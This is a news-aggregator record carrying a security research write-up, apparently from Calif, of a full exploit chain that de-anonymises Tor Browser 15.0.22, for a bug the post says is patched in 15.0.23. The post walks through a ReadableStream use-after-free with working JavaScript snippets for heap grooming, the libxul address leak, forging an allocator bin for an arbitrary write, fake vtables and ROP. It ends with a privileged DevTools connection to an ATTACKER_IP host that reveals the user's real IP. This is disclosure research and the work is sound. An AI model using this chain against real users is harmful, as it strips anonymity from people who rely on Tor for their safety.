{"slug": "tortilla-with-onion", "title": "TORtilla with Onion", "summary": "A researcher publishing through OpenAI's Patch the Planet program demonstrated a full exploit chain that de-anonymizes Tor Browser 15.0.22 at default settings and leaks the user's real IP address. The chain begins with a use-after-free in Gecko/Firefox BYOB ReadableStream handling, tracked as CVE-2026-92027, which the attacker triggers after the victim clicks once to open a same-origin popup; the exploit first uses 64 MiB to locate the libxul base address and then 512 MiB to control the freed region. The attacker then overwrites a pointer with a fake object and vtable, starts ROP in the renderer via console.error(), forges a history entry with System principal, and has the privileged DevTools page open a direct socket whose accept() reveals the public source IP that bypasses Tor.", "body_md": "[← Research](https://calif.io/research)\n\n# TORtilla with Onion\n\nDe-anonymize Tor Browser to reveal the real IP\n\n## Contents\n\nThis research is part of OpenAI's [Patch the Planet](https://openai.com/index/patch-the-planet/) program.\n\nWhen we think about anonymity and security on the internet, as well as the dark web, one of the first things that come to mind is Tor, this great network of nodes that helps us navigate more safely through the most remote corners of the internet.\n\nIn this article, we show how a malicious website can overcome the defenses of Tor Browser (`15.0.22`, default settings) to de-anonymize the user and leak their real IP.\n\n## Tor Browser concept\n\nTor Browser distributes a modified and hardened version of Firefox ESR together with the Tor daemon, which runs as a separate process.\n\nA simplified architecture of the platform:\n\nWhen we visit a normal website through Tor, the website sees the IP address of the exit relay instead of ours. With an `.onion` service, things work a little differently. Our browser and the service communicate through a shared Tor relay (called a rendezvous point) without revealing their IP addresses to each other. In both cases anonymity depends on the browser not opening a separate connection outside Tor. The final stage of this exploit violates that application boundary.\n\nHaving laid the foundations, let's go with the first phase of the exploit.\n\n## Exploit Chain\n\nThe phases of the exploit are as follows:\n\n1. The victim opens the page and clicks once to create the same-origin popup. A bug in [BYOB](https://developer.mozilla.org/en-US/docs/Web/API/ReadableStreamBYOBReader) (*bring your own buffer* ) handling between the two windows leaves a usable view over freed memory. It is exploited first with 64 MiB to find the base address of`libxul` and then with 512 MiB to control a UAF region and obtain its base address.\n2. The allocator is manipulated to overwrite a pointer. A fake object/`vtable` is installed, and`console.error()` starts ROP in the renderer.\n3. ROP forges a history entry with System principal and asks the parent to reload it.\n4. De-anonymization: the privileged DevTools page opens a direct socket, `accept()` reveals the public source IP address of the connection that bypasses Tor.\n\n### First Phase: UAF ReadableStream on Gecko/Firefox (CVE-2026-92027)\n\nBefore going into the bug, let's start at the beginning, the attacker's infrastructure.\n\nThe attacker has a website as simple as this:\n\nThe exploit requires the user to click \"Launch proof\". As we can see in the following image, Tor Browser prevents the automatic execution of popups from websites as a security measure.\n\nYou may be wondering: why are two windows needed? Great question! This is going to be key when triggering the UAF.\n\nThe attacker uses the main page (the **opener**) and another page that opens as a **popup**. Both arrive through Tor and belong to the same origin. As we said before, the two windows have the same origin; therefore, they can call each other, ***but they are two different JavaScript realms***.\n\nThe **opener's** task in this initial phase is to create the streams, preserve the views and analyze the memory. The **popup** provides the buffers, keeps the BYOB reads, and creates the allocations with which the memory will be reused.\n\nBefore continuing, BYOB is a reading mode in which the consumer provides the memory where the producer should write. In a normal read, the stream creates or delivers its own block of data. With BYOB, the reader offers an already prepared `Uint8Array` for the producer to fill directly, avoiding another allocation and copy. Gecko coordinates that memory through the reader, a pending descriptor and `controller.byobRequest.view`. When the producer finishes, it indicates how many bytes it wrote through `respond()`. **The exploit deliberately omits that response to keep the read and its memory state pending.**\n\nThe communication begins like this:\n\n``` php\nvictim -> opens the opener through Tor\nvictim -> clicks the full-window link\npopup -> host.register(self)\n```\n\n`host` is the name the **popup** uses to refer to the **opener**. `child` is the name the opener uses to refer to the **popup**. They are ordinary variables, not special browser functions.\n\nThe popup creates a large `Uint8Array` called `victim`. In the first pass it is 64 MiB, in the second 512 MiB. It then requests a byte `ReadableStream` from the opener and creates a BYOB reader:\n\n``` php\npopup -> creates victim\npopup -> host.makeStream(i)\nopener -> creates ReadableStream({type: \"bytes\", pull(controller) {...}})\nopener -> returns the stream to the popup\npopup -> creates ReadableStreamBYOBReader(stream)\npopup -> reader.read(victim)\n```\n\n**Opener**:\n\n``` js\n...\n  function makeStream(i) {let s=new ReadableStream({type:'bytes',pull(c){\n   let req=c.byobRequest;if(req&&!bads[i]){controllers[i]=c;bads[i]=req.view;\n    if(bads.filter(Boolean).length===count)\n    {document.title='BAD:'+count+':'+bads[0].length;child.start()}\n   }}});streams[i]=s;return s}\n...\n```\n\n**Popup**:\n\n``` js\n...\n  const count=128;\njs\n  async function setup(){for(let i=0;i<count;i++){\n   for(let j=0;j<3;j++)anchors.push(new ArrayBuffer(0));\n   let victim=i===0&&mode==='native'?new Uint8Array(await new Blob([new\n   ArrayBuffer(0x04000000)]).arrayBuffer()):new Uint8Array(i===0&&mode.endsWith('blob')?\n   0x50000000:i===0?0x20000000:size);\n   let r=new\n   ReadableStreamBYOBReader(host.makeStream(i));readers.push(r);r.read(victim).catch(()=>{});\n  }}\n  setup();\n...\n```\n\nThe last command (`popup -> reader.read(victim)`) is the one that connects both realms. `victim` and its buffer belong to the **popup**, but the reader is associated with the stream/controller created in the opener. When processing the read, Gecko passes that buffer to the controller's algorithm through a CCW, which acts as a representative of the real object.\n\n``` php\npopup: reader.read(victim)\n          -> opener stream controller\n          -> TransferArrayBuffer(original buffer wrapper)\n          -> PullIntoDescriptor(replacement buffer)\n```\n\n`TransferArrayBuffer()` crosses the wrapper, takes the backing store from the original buffer, detaches that object and creates another `ArrayBuffer` that receives the same bytes:\n\n``` php\nbefore: original popup buffer -> backing store\nafter:  original buffer detached   replacement buffer -> backing store\n```\n\n`PullIntoDescriptor` preserves the replacement buffer while the read is pending. The CCW and the transfer do not yet constitute the flaw by themselves; they prepare an ownership state between realms that the following operation will expose through a view.\n\nWhen the read remains pending, Gecko executes the stream's `pull(controller)` function. Since that function was created in the opener, the callback runs there:\n\n``` php\nGecko -> executes pull(controller) in the opener\nopener -> reads controller.byobRequest\nopener -> stores controller.byobRequest.view in bads[i]\n```\n\n**Opener**:\n\n``` js\n...\n  function makeStream(i) {let s=new ReadableStream({type:'bytes',pull(c){\n   let req=c.byobRequest;if(req&&!bads[i]){controllers[i]=c;bads[i]=req.view;\n    if(bads.filter(Boolean).length===count)\n    {document.title='BAD:'+count+':'+bads[0].length;child.start()}\n   }}});streams[i]=s;return s}\n...\n```\n\nGecko obtains the replacement buffer from `PullIntoDescriptor`, creates a new `Uint8Array` over it and stores it as `ReadableStreamBYOBRequest.mView`. `.view` returns that object to the page's code. This is the view that the opener will preserve even after invalidating the read.\n\n**The only function of `bads[]` is to preserve the views after the BYOB request disappears.**\n\nThe view allows access to the bytes through indexes. The native pointer remains hidden inside SpiderMonkey.\n\nJavaScript can execute `bads[i][100]`, but cannot directly print an `.address` property.\n\nThe first stream contains the only memory that matters to preserve as UAF:\n\n``` php\n  stream 0 -> view of 64 or 512 MiB\n```\n\nThe 128 streams? (in **popup**)\n\n``` js\n...\n  const count=128;\njs\n  async function setup(){for(let i=0;i<count;i++){\n...\n```\n\nThe exploit repeats this operation with 128 streams. The first stream uses the huge buffer and the other 127 stabilize the distribution of wrappers, descriptors and objects during collection.\n\nThe 127 create small copies of the same topology.\n\n``` php\n  stream -> controller -> PullIntoDescriptor -> BYOBRequest -> wrapper/view\n```\n\nWhen the opener has stored the 128 views, the release begins:\n\n``` php\nopener -> child.start()\npopup -> host.release()\nopener -> child.watch(bads[0].buffer)\nopener -> controllers[i].error(new Error(\"release\"))\nopener -> removes streams[] and controllers[]\nopener -> child.afterRelease()\npopup -> removes readers[]\n```\n\nWhen they are all put into error simultaneously, Gecko clears many similar descriptors, wrappers and objects in the same cycle. That reduces variations in order and timing during GC and increases the probability that the large buffer is freed and its interval reused in the expected way.\n\n**Popup**:\n\n``` js\n...\n  function start(){if(started)return;started=true;setTimeout(()=>host.release(),100)}\nfunction watch(obj){weak=new WeakRef(obj);registry.register(obj,1)}\nfunction afterRelease(){readers=[];new Image().src='https://calif.io/stream-popup-stage?v=released';let\n  round=0,extra=0,seekRound=0;\n...\n```\n\n**Opener**:\n\n```\n...\n  if(bads.filter(Boolean).length===count)\n  {document.title='BAD:'+count+':'+bads[0].length;child.start()}\njs\n  function release(){\n   let watched=bads[0].buffer;child.watch(watched);watched=null;\n   for(let i=0;i<count;i++){try{controllers[i].error(new Error('release'))}catch(e){}}\n   controllers=[];streams=[];document.title='RELEASED';child.afterRelease()\n  }\n...\n```\n\n`controller.error()` puts the stream into **error** and makes Gecko invalidate the pending read. The internal code removes the controller and the view from the BYOB request and deletes the `PullIntoDescriptor` s. Emptying `streams[]`, `controllers[]` and `readers[]` removes the other JavaScript references.\n\n**NOTE: Removing references does not immediately release memory. It makes the objects eligible for GC. The `popup` creates waves of small objects and uses timers so that collection, pending tasks and finalization run.**\n\nThe correct behavior would be this: if `bads[i]` preserves the view, the backing store should remain alive; or, if Gecko needs to release it, it should detach the view, set its length to zero, and only then release the memory. However...\n\nGecko loses the correct owner of the backing store; therefore, GC releases the allocation, and `bads[i]` preserves the old pointer and length.\n\nLadies and gentlemen, we have the UAF. This would be the procedure for both UAFs we are going to make.\n\nBasically, the **opener** creates the stream and the **popup** creates the 64 MiB buffer in the first phase or 512 MiB in the second (now we will see why). The **popup** gives that buffer to a BYOB read. Gecko transfers its backing store and executes pull(controller) in the **opener**, which preserves `controller.byobRequest.view` in `bads[]`. After that, the opener puts the controllers into error and removes streams and controllers, the popup removes the readers and when forcing GC, the bug makes it possible to release and reuse the backing store even though the saved view still works in `bads[]`. That view is the one left as UAF.\n\n#### UAF: Get `libxul` base\n\nThe first pass uses the UAF to discover where `libxul` is loaded during this execution. For this, the allocation that we mentioned before of 64 MiB is made:\n\n``` php\npopup -> creates 64 MiB victim\nopener/popup -> create the UAF\npopup -> creates 24,000 Blob-backed allocations\nopener -> examines the first 64 KiB of the old view\n```\n\nPopup: create 64 MiB `victim`\n\n``` js\n...\n  let victim=i===0&&mode==='native'?new Uint8Array(await new Blob([new\n  ArrayBuffer(0x04000000)]).arrayBuffer()):new Uint8Array(i===0&&mode.endsWith('blob')?\n  0x50000000:i===0?0x20000000:size);\n...\n```\n\nPopup/opener: create the UAF\n\n``` js\n...\n  let r=new\n  ReadableStreamBYOBReader(host.makeStream(i));readers.push(r);r.read(victim).catch(()=>{});\njs\n  let req=c.byobRequest;if(req&&!bads[i]){controllers[i]=c;bads[i]=req.view;\njs\n  function release(){\n   let watched=bads[0].buffer;child.watch(watched);watched=null;\n   for(let i=0;i<count;i++){try{controllers[i].error(new Error('release'))}catch(e){}}\n   controllers=[];streams=[];document.title='RELEASED';child.afterRelease()\n  }\nfunction afterRelease(){readers=[];new Image().src='https://calif.io/stream-popup-stage?v=released';let\n  round=0,extra=0,seekRound=0;\n...\n```\n\n**Popup**: create the 24,000 Blob-backed allocations\n\n``` js\n...\n  if(mode==='native'){let ps=[];for(let j=0;j<500;j++){let i=fakes.length+j,v=new\n  Uint8Array(96);v[0]=0xd2;v[1]=i&255;v[2]=(i>>8)&255;v[3]=(i>>16)&255;v[4]=0x4b;let o=new\n  Blob([v]);blobs.push(o);ps.push(o.arrayBuffer())}for(let b of await\n  Promise.all(ps))fakes.push(b)}\n...\n```\n\nEach allocation carries a marker and follows the `Uint8Array -> Blob -> Blob.arrayBuffer()` route. Gecko creates C++ objects to process it, and those objects contain pointers to **vtables** located inside `libxul`. The exploit keeps the allocations alive so that one of them appears in the interval previously occupied by the 64 MiB buffer.\n\n**Opener**: examine the first 64 KiB\n\n``` js\n...\n  function leakNativePointers(limit=65536){let v=bads[oobState.hit],out=[];for(let p=0;p<limit-\n  8;p+=8){let q=get64(v,p),lo=q&0xfffffn;if(lo===0xcd990n||\n  lo===0xcdd50n)out.push({p,q:'0x'+q.toString(16),libxul:'0x'+(q-(lo===0xcd990n?\n  0x91cd990n:0x91cdd50n)).toString(16)})}return out.slice(0,40)}\n...\n```\n\nThe UAF view interprets memory in eight-byte blocks and looks for a pointer whose ending is `0xcd990` or `0xcdd50`. Those endings and their full offsets were previously identified in the exact binary. ASLR changes the `libxul` base, but not the internal positions of its **vtables**.\n\nThe calculation is (real example):\n\n```\nleaked pointer:    0x7487d99cd990\nvtable offset:          0x91cd990\n                    ----------------\nlibxul base:       0x7487d0800000\n```\n\n**If it does not find the pointer, it reuses the popup and repeats this phase. When it finds it, it saves `nativeBase` and begins the 512 MiB pass for the UAF region.**\n\n#### UAF: Get UAF region base\n\nWith this UAF we intend to obtain a 512 MiB observation range to have many controlled objects and know their absolute address.\n\n``` php\nopener -> navigates the same popup to bootstrap2\npopup -> creates 512 MiB victim\nopener/popup -> create another UAF\npopup -> creates 240,000 marked 97-byte ArrayBuffers\nopener -> searches for markers using the old view\nopener -> child.checkFake(id, 5)\n```\n\nThe **popup** creates the 512 MiB `victim` and repeats the BYOB sequence already explained\n\n``` js\n...\nlet victim=new Uint8Array(i===0?0x20000000:size);\nlet r=new ReadableStreamBYOBReader(host.makeStream(i));\nreaders.push(r);r.read(victim).catch(()=>{});\n...\n```\n\nIt then creates 5,000 buffers per round for 48 rounds. `fakeBytes` is 97 and the first five bytes store a signature and an ID:\n\n``` js\n...\nlet i=fakes.length,b=new ArrayBuffer(fakeBytes),v=new Uint8Array(b);\nv[0]=0xc1;v[1]=i&255;v[2]=(i>>8)&255;\nv[3]=(i>>16)&255;v[4]=0x1c;fakes.push(b);\n...\n```\n\nThe opener searches for that signature through the UAF view, extracts the ID and proves that it can modify the corresponding live buffer:\n\n``` js\n...\nlet id=start[1]|(start[2]<<8)|(start[3]<<16);\nbads[hit][anchor+5]=0x6d;\nlet inside=child.checkFake(id,5);\n...\n```\n\nThe 97-byte buffers are rounded to native 112-byte slots. Each contains a marker with its ID and remains live in `fakes[]`. The 240,000 allocations increase the probability that several complete runs appear inside the old 512 MiB interval. A run (`arena_run_t`) is a 4 KiB page that mozjemalloc internally creates or reuses to group allocations of the same class. In this case each run contains 36 112-byte backing stores, corresponding to the `ArrayBuffer(97)` (64 header bytes + 36 slots × 112 bytes = 4096 bytes = 4 KiB per run).\n\nThis would be the `arena_run_t` structure:\n\n```\n  +0x00  mRunListElem.next\n  +0x08  mRunListElem.prev\n  +0x10  mBin\n  +0x18  mRegionsMinElement / mNumFree\n  +0x20  allocation bitmap\n  +0x40  first controlled 112-byte region\n  +0xb0  next controlled region\n```\n\nWhen the UAF view finds a marker, it decodes its ID and writes `0x6d`. If the popup reads 109 from `fakes[id]`, it confirms that the old view and the new buffer reach the same bytes. It then writes `0x7d` to another marker; reading 125 from another `fake` demonstrates access between different allocations.\n\nThe exploit locates the headers of those runs by looking for a header followed by two markers separated by 112 bytes. It releases a buffer from the first run and another from the second. The allocator links them as `second -> first`, storing the absolute native address of the first in the second. Since the view already knows the relative offset of the first, it can calculate it.\n\n``` php\ninitial state ((run A) and (run B) inside the 512 MiB UAF region)\n(run A) -> all its slots occupied (36/36)\n(run B) -> all its slots occupied (36/36)\nphp\npopup -> releases a fake from (run A) through ArrayBuffer.transfer(0) (35/36)\nallocator -> (run A) goes from full to available (35/36)\nbin.head -> (run A)\nphp\npopup -> releases a fake from (run B) through ArrayBuffer.transfer(0) (35/36)\nallocator -> (run B) goes from full to available (35/36)\nbin.head -> (run B)\nB.next   -> (run A)\nmRegionsMask -> indicates which B slot became free\n```\n\nAfter `B.next -> A`, the exploit simply reads `B.next` and obtains the address of A (the run, not the `ArrayBuffer`). The only thing it has to do is subtract A's offset, and it obtains the UAF region base address.\n\nExample:\n\n```\nfirst run offset, hs[0] = 0x1a840\nabsolute pointer read, h1 = 0x7f4a2c11a840\nbase = 0x7f4a2c11a840 - 0x1a840\nbase = 0x7f4a2c100000\n```\n\nThe equivalent operation in the exploit is:\n\n``` js\nlet h1 = get64(v, hs[1]);\nlet base = h1 - BigInt(hs[0]);\n```\n\nTherefore, `bads[hit][0]` corresponds to native address `0x7f4a2c100000`. An object found at offset `0x1b000` will be at `0x7f4a2c100000 + 0x1b000 = 0x7f4a2c11b000`.\n\nAnother example: if the first run appears at `hs[0] = 0x1e80` and the absolute pointer read from the second run is `h1 = 0x7bbb85505000`, the exploit obtains `heapBase = 0x7bbb85505000 - 0x1e80 = 0x7bbb85503180` (this is the UAF region base address corresponding to `view[0]` **not the base of the entire heap**). From then on, it converts any offset `p` in the view into a native address through `heapBase + p`.\n\nNow as attackers we have the `libxul` base address, the absolute address of the controlled region, and several reachable runs. But we still need to move from heap-limited writing to a qword write over a target in `libxul`.\n\n**NOTE: we need 3 runs in the 512 MiB range, 2 to obtain the UAF region base address as we have seen, and the other one will be explained below.**\n\n### Second Phase: UAF to ROP\n\nWith the current UAF, we have free writing throughout the 512 MiB range, but our objective is a pointer inside `libxul`, `TARGET = libxulBase + 0x9578ee0`. This address contains the global pointer with which the renderer accesses its observer service. In this section we will see how to overwrite it to replace it with a fake object.\n\n(Completing a full Firefox compromise would require an additional way to execute our code in the parent process. Our ROP chain still runs under Tor Browser’s level-6 Linux content sandbox. The history forgery lets us trigger privileged navigation and the DevTools connection, but it does not establish arbitrary memory access or code execution in the parent.)\n\nThe reason for that particular pointer is that there is a path reachable from JavaScript that uses it. `console.error()` reaches the logging system and publishes a notification through the observer service. If we end up overwriting it, it allows the gadget we want to finally be called, thus corrupting the execution flow.\n\nAs we said before, three `runs` are needed, the first two for the UAF region address and the third (which we will call `H`) will be used for the corruption.\n\nFor this phase we will again review the `arena_run_t` structure:\n\n```\n  +0x00  mRunListElem.next\n  +0x08  mRunListElem.prev\n  +0x10  mBin\n  +0x18  mRegionsMinElement / mNumFree\n  +0x20  allocation bitmap\n  +0x40  first controlled 112-byte region\n  +0xb0  next controlled region\n```\n\nIts header contains `mBin`, a pointer to the real bin that manages its slots.\n\nA bin (`arena_bin_t`) is the \"administrative record\" that mozjemalloc maintains for a size class. There is a 112-byte bin that stores the size of its slots, records that each run has 36 slots starting at offset 64 (bytes), and keeps a list of the runs that still have room. The bin does not contain the buffers, all runs of that class share its information by pointing to it from the `mBin` field in their header.\n\n```\nrun A.mBin (used in 512MiB region leak) ─┐\nrun B.mBin (used in 512MiB region leak) ─┼─> 112-byte bin -> list of available runs\nrun H.mBin (    memory corruption     ) ─┘\n```\n\nThe structure would be the following:\n\n```\nstruct arena_bin_t {\n    DoublyLinkedList<arena_run_t> mNonFullRuns; // +0x00: head, +0x08: tail\n    size_t   mSizeClass;                        // +0x10\n    uint32_t mRunNumRegions;                    // +0x18\n    uint32_t mRunNumRegionsMask;                // +0x1c\n    uint32_t mRunFirstRegionOffset;             // +0x20\n    uint32_t mNumRuns;                          // +0x24\n    FastDivisor<uint16_t> mSizeDivisor;         // +0x28\n    uint8_t  mRunSizePages;                     // +0x2a\n};\n```\n\nWhen a buffer from `H` is released, the allocator consults `H.mBin` to know which list that run should be inserted into.\n\nThat is why we create a false bin for the 112-byte allocation class:\n\n| **Offset** | **Forged value** | **Function** | \n|---|---|---|\n| `+0x00` | `TARGET - 8` | Fake non-full-run-list head and arbitrary-write destination | \n| `+0x08` | `0` | List tail (initially zero, so `pushFront()` replaces it with the address of H) | \n| `+0x10` | `112` | Allocation size class | \n| `+0x18` | `36` | Regions per run (unused because the fake head is non-null) | \n| `+0x1c` | `2` | Number of allocation-bitmap words | \n| `+0x20` | `64` | Offset from the run header to its first region | \n| `+0x24` | `0` | Run counter (not used in the selected one-free branch) | \n| `+0x28` | `0x0493` | Fast-division multiplier for division by 112 | \n| `+0x2a` | `1` | Number of 4 KiB pages in a 112-byte-class run | \n\nThe code would be:\n\n``` js\n...\nfor (let i = 0; i < 48; i++) v[f + i] = 0;\nput64(v, f, TARGET - 8n);\nput64(v, f + 16, 112n);\nv[f + 24] = 36;\nv[f + 28] = 2;\nv[f + 32] = 64;\nv[f + 40] = 0x93;\nv[f + 41] = 0x04;\nv[f + 42] = 1;\n...\n```\n\nBasically, the address of the false bin (`FA`) is written in the `mBin` field of `H` (this being at 36/36). Now, in the false bin, in the head (0x00) we put `TARGET-8`, so that when we release an `ArrayBuffer` from `H` (35/36), Gecko uses `H`'s `mBin` and has to put it in the false bin, and writes the address of H in the `prev` field located at TARGET, thus making `*TARGET = H`.\n\nThat is:\n\n```\n  H: 36/36 slots occupied\n  H.mBin = address of FA\n  FA.head = TARGET - 8\nphp\n  one H slot is released\n  -> H becomes 35/36\n  -> Gecko consults H.mBin and obtains FA\n  -> tries to insert H in front of FA.head\n  -> interprets TARGET-8 as a run\n  -> writes the address of H in its prev field\n  -> that field is at TARGET-8+8\n  -> *TARGET = address of H (address of the controlled real run)\n```\n\nThis would be the code on the **Popup** side to release the fake:\n\n```\n...\n  function freeFake(i){\n   if(!(i>=0&&i<fakes.length)||!fakes[i])return false;\n   let b=fakes[i];\n   fakes[i]=null;\n   let z=b.transfer(0);\n   return b.byteLength===0&&z.byteLength===0\n  }\n...\n```\n\n#### Modifying `H` to a false object\n\nThe `TARGET` pointer directs the *observer service* toward `H`. We then overwrite `H` as if it were a valid C++ object whose first qword points to a fake vtable created in another area under our control, which contains gadget addresses (in this case, from the particular version of `libxul`).\n\n``` php\nTARGET -> H, fake object\nH[0]   -> V, fake vtable\nV[...] -> stack pivot gadget\nRS     -> qwords of the ROP chain\n```\n\nThe **popup** calls `console.error()`. The logging path publishes a notification through the observer service. Gecko reads the global pointer from `TARGET`, receives H and makes a virtual call:\n\n```\n...\n  function triggerLog(){\n    console.error('native-stdio-trigger');\n    return true\n  }\n...\npopup -> console.error()\nGecko -> consults TARGET\nTARGET -> H\nGecko -> reads H's V vtable\nGecko -> executes the chosen gadget\ngadget -> moves RSP to RS (stack pivot)\nrenderer -> starts the ROP chain\n```\n\nThe unexploited form would be:\n\n``` php\nconsole.error()\n-> Gecko needs to publish the message\n-> obtains the legitimate observer service from TARGET\n-> reads its vtable\n-> calls NotifyObservers()\n```\n\nBut fortunately or unfortunately...\n\n1. Gecko enters from JavaScript into C++ code to record the error.\n2. It reads `*TARGET` , expecting to obtain the observer service, but obtains`H` .\n3. To call its virtual method, it reads the first eight bytes of `H` and obtains the address of`V` , the fake vtable.\n4. It looks in `V` for the address of the method it wants to execute, but that entry contains the address of the gadget.\n5. That gadget changes **RSP** , the pointer to the current stack, so that it points to**RS** .\n\n`RS` is an area of the controlled heap containing addresses placed by the exploit.\n\n### Third Phase: ROP forges the parent's history\n\nAfter having done the stack pivot each `ret` takes the address of the next gadget from **RS**. **The chain uses gadgets to prepare the x86-64 registers and call native functions already present in `libxul`. In this way it can create internal Gecko objects that a JavaScript page could never request.**\n\nThe target is a `SessionHistoryInfo`, the record used to restore a navigation:\n\n```\nURI                 = about:devtools-toolbox?type=process&host=ATTACKER_IP&port=9192\nprincipal           = System\nsharedId            = new\nBrowsingContext     = that of the same popup\n```\n\nThe System principal is Firefox's internal identity with the highest authority. ROP first saves its original stack pointer, converts the URI and `text/html` into native strings, obtains an `nsIURI`, assembles the System principal, and finds its popup's `BrowsingContext` by following the current global and inner window.\n\nEach letter is printed with a native `write(2)` to indicate how far execution got:\n\n| **Marker** | **Operation completed before or around the marker** | \n|---|---|\n| A | The original stack pointer was saved and ROP control was established. | \n| B | The attacker URI bytes were converted to Gecko's native string. | \n| C | The native `text/html` content type was built. | \n| D | `NS_NewURI` returned an`nsIURI` for the privileged DevTools address. | \n| E | The System principal and `SessionHistoryInfo` were assembled. | \n| F/G | The global, inner window and `BrowsingContext` were followed; the target was copied into the message. | \n| H | `SendReplaceActiveSessionHistoryEntry` returned. | \n| I | `SendHistoryReload` returned. | \n\nThe last two are normal IPDL messages. The first replaces the active popup entry with the prepared record, the second asks the parent process to reload it.\n\nThe flaw is that the parent treats the message content as state, when part of it represents authority. It rejects `javascript:`, but accepts the principal and URI supplied for a new `sharedId`, then only checks that the `BrowsingContext` exists. Thus, the parent installs the forged entry in its canonical history and reloads `about:devtools-toolbox` with System principal.\n\nBefore finishing, the chain replaces the dangerous entries in the fake vtable with return gadgets and restores the RSP that it saved at the beginning. The renderer can continue while the message is already being processed by the parent. **ROP has not been executed in the parent; it has made the parent perform a legitimate navigation using false authority.**\n\n### Fourth Phase: Revealing the IP\n\nThe forged URI is also the instruction for the last phase. The `about:devtools-toolbox` module turns it into a packaged DevTools page, assigns the System principal to its channel, allows scripts and does not force it to load in an ordinary content process. That is why the reload accepted in phase 3 ends in privileged code.\n\nWhen starting, the page directly reads `host` and `port` from its URI:\n\n``` js\nconst host = params.get(\"host\");\nconst port = params.get(\"port\");\nif (port)\n  transport = await DevToolsClient.socketConnect({host, port, webSocket});\n```\n\nThe transport ends up calling `nsISocketTransportService.createTransport()`. It does not create a content HTTP channel and does not receive the SOCKS configuration used to send web traffic to the Tor daemon. **The parent directly establishes the TCP handshake with the attacker's listener**\n\n``` php\nSystem history -> about:devtools-toolbox\nDevTools -> socketConnect(ATTACKER_IP, 9192)\nparent -> direct TCP socket\nlistener -> accept() -> public source IP address of the connection that bypasses Tor\n```\n\nThe server does not need to authenticate DevTools or respond to its protocol. **When** `accept()` **returns the connection, the TCP handshake has already delivered the public source IP address of the connection that bypasses Tor**, whether it is the device's direct public IP address or a VPN/NAT address, while the original page requests continue to show a Tor exit address.\n\n## PoC\n\nAnd what would a blog be without its corresponding PoC?\n\n## Conclusions\n\nThe whole point of Tor Browser is to hide the user's IP address, so leaking that address undoes the protection that routing through the network provides. The browser is one layer of defense, not a guarantee on its own. For stronger anonymity, pair Tor Browser with hardened setups such as dedicated devices and careful operational habits.\n\nAnd this has been the exploit! It worked for Tor Browser `15.0.22`, and it was patched in `15.0.23`. I hope you enjoyed reading it as much as I enjoyed debugging it, thank you very much for your attention.\n\nAbout Calif\n\nWe push offensive security research to its limits, understand what is becoming possible with AI, and use those insights to help our customers defend themselves.\n\n[Get in touch](https://calif.io/contact), and subscribe to our newsletter for more research\n                  like this:\n                \n\nCheck your inbox to confirm.", "url": "https://wpnews.pro/news/tortilla-with-onion", "canonical_source": "https://calif.io/research/tortilla-with-onion", "published_at": "2026-11-26 08:39:31+00:00", "updated_at": "2026-11-26 09:12:37.969525+00:00", "lang": "en", "topics": ["ai-safety"], "entities": ["Tor Browser", "OpenAI", "Firefox", "Gecko", "libxul", "CVE-2026-92027", "Patch the Planet"], "also_reported_by": [], "takeaway": "A same-origin popup pair can keep a BYOB ReadableStream read pending by omitting respond(), leaving a usable view over freed memory in Tor Browser 15.0.22 that escalates to renderer ROP and a DevTools socket leaking the real IP.", "recommendation": {"advice": "Treat cross-window stream and buffer handling as an attack surface: patch to Firefox builds fixing CVE-2026-92027 and block same-origin popups from retaining BYOB views over freed memory.", "playbook": "agent-security", "playbook_url": "https://wpnews.pro/playbooks/agent-security"}, "alternates": {"html": "https://wpnews.pro/news/tortilla-with-onion", "markdown": "https://wpnews.pro/news/tortilla-with-onion.md", "text": "https://wpnews.pro/news/tortilla-with-onion.txt", "jsonld": "https://wpnews.pro/news/tortilla-with-onion.jsonld"}}